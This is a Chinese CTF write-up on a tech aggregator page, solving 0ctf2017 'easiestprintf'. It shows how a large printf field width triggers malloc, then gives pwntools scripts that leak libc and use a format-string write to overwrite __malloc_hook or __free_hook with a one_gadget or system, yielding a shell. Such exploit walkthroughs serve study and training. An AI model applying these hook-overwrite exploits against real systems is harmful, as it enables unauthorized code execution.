IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> C++知识库 -> 利用printf调用malloc getshell&&0ctf2017_easiestprintf -> 正文阅读

[C++知识库]利用printf调用malloc getshell&&0ctf2017_easiestprintf

首先题目名字严重…漏洞看上去很简单,但真的好难

0ctf2017_easiestprintf

0ctf2017_easiestprintf

题目分析

最难的题目往往代码很简单

保护

RELRO 全开,也就是不能修改fini,init,got表来劫持控制流,那么应该怎么做呢,同时也开了NX和canary
在这里插入图片描述

源码

在这里插入图片描述

do_read

在这里插入图片描述
可以泄露一个值,我们可以用got泄露libc

leave

格式化字符串漏洞,但只有一次
在这里插入图片描述

攻击

泄露libc

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]

这个就是基本操作了

如何劫持控制流

一般来说我们可以修改exit got表为main函数再来一遍或者直接指向one_gaget,但这里got不可以修改,fini也不能改,当时真的蒙了
后来经过提醒才发现,printf会调用malloc,而__malloc_hook和__free_hook都是可以修改的

printf源码分析

#include<stdio.h>
int main(){
    printf("%1c");
}

主要原理就是当printf输出的字符过多的时候,会调用malloc来处理
我们大概放一下源码

if (width >= WORK_BUFFER_SIZE - 32)
   1500         {
   1501           /* We have to use a special buffer.  The "32" is just a safe
   1502              bet for all the output which is not counted in the width.  */
   1503           size_t needed = ((size_t) width + 32) * sizeof (CHAR_T);
 ? 1504           if (__libc_use_alloca (needed))
   1505             workend = (CHAR_T *) alloca (needed) + width + 32;
   1506           else
   1507             {
   1508               workstart = (CHAR_T *) malloc (needed);

这里的width是什么大概也能猜出来就是我们输出的长度,我们来调试一下
在这里插入图片描述
第一次的widht是1,很明显因为%c的功能,我们来看看第一个check是多少
在这里插入图片描述
也就是wdith首先要大于1000-32
在这里插入图片描述
然后回转化为needed,其实就是+32
在这里插入图片描述
然后我们想进入else,也要过第一个check
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以第一次失败,我们改成65537
在这里插入图片描述
额这里忘记会加上32,不过当然也过了check
在这里插入图片描述
我们看到这个时候malloc传入的就是我们printf输出的长度+32的结果
在这里插入图片描述

workstart保存的堆地址
在这里插入图片描述
这里会free workstart
在这里插入图片描述
但可以看到workstart里面并没有内容,最开始我还想通过把free-hook写成system,然后里面字符串写上/bin/sh,但发现好像再free的时候里面是没有内容的,额应该只是一个缓冲区,并不能保存
然后我考虑用one_gaget,但好像题目libc-2.23的我用不了,都挂了…

大概的逻辑我们差不多就知道了,现在我们来结合题目具体调试一下吧
由于之前调试没有32位的环境,刚才把32位的装好,大概思路差不多,但也有一点细微的差别
触发的具体位置不太一样了,但有一点细节要注意
printf他是一个个处理格式化字符串的
我们可以这样理解,他从前往后扫描,然后会比较每一次需要输出的内容长度,如果单次的长度够长的话就可以进入malloc
在这里插入图片描述

这里第一次实验我把触发malloc放在了后面,进去的时候__free_hook已经被修改了
在这里插入图片描述

第二次实验
在这里插入图片描述

在这里插入图片描述

小结

printf有以下特性

  • 他是从前往后扫描格式化字符串,依次执行
  • 每执行一个格式化字符串,都会去比较输出的大小,单次大小>65536-32,就会进入malloc
  • 上面特性区别于%c%n,%n会计算前面所有的输出长度

开始利用

这里由于free的时候堆里面没有内容,所以mem其实里面内容不能控,唯一能够的只有malloc的bytes,如果bytes也就是大小刚好是/bin/sh的地址,可以通过__malloc_hook getshell
但是在使用上述攻击之前,可以先尝试使用one_gadget

__free_hook替换成gadget

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
free_hook_addr = libc_base + libc.sym["__free_hook"]
one_gadget_addr = one_gadget[1] + libc_base
payload = fmtstr_payload(7, {free_hook_addr: one_gadget_addr}) + b"%65535c"
debug()
sla(b"Good Bye\n", payload)
it()

在这里插入图片描述
由于按照先后顺序执行,可以看到我们的free-hook被修改了
堆内容确实不可控
在这里插入图片描述
结果发现打不通,再试试__malloc_hook

__malloc_hook换成one_gagdet

居然打通了

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
one_gadget_addr = 0x3A819 + libc_base
payload = (
    fmtstr_payload(7, {malloc_hook_addr: one_gadget_addr}) + f"%{65536-31}c".encode()
)
# debug()
sla(b"Good Bye\n", payload)
it()

在这里插入图片描述

最后一种解法

由于malloc_hook的参数可控,那么我们先做现在几个事情
1.malloc_hook改成system_addr
2.找data地方写个/bin/sh\0
这里由于data太短了,就写个sh

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
sh_addr = 0x0804A001
system_addr = libc_base + libc.sym["system"]
payload = (
    fmtstr_payload(7, {malloc_hook_addr: system_addr, sh_addr: b"sh\0"})
    + f"%{0x0804A001-32}c".encode()
)
sla(b"Good Bye\n", payload)
it()

注意几个问题
sh_addr里面不要有\x00,不然printf到那个地方就不执行了,因为我们最后触发malloc一定要在所有值都被修改之后才可以执行,而我们fmtstr_payload的原理就是会在栈上放置对应的地址,一般是以bytes来写也就是hhn,所以会放addr+1,add+2,addr+3,add+4,这里我专门偏移防止\x00截断
但我们在payload里面要写\x0其实不影响的
然后最后bytes记得-32,因为printf调用malloc之前是这样计算的
实际需要输出的size+32
所以要-32
在这里插入图片描述

  C++知识库 最新文章
【C++】友元、嵌套类、异常、RTTI、类型转换
通讯录的思路与实现(C语言)
C++PrimerPlus 第七章 函数-C++的编程模块(
Problem C: 算法9-9~9-12:平衡二叉树的基本
MSVC C++ UTF-8编程
C++进阶 多态原理
简单string类c++实现
我的年度总结
【C语言】以深厚地基筑伟岸高楼-基础篇(六
c语言常见错误合集
上一篇文章      下一篇文章      查看所有文章
加:2022-04-04 11:50:13  更:2022-04-04 11:50:42 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/24 0:38:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码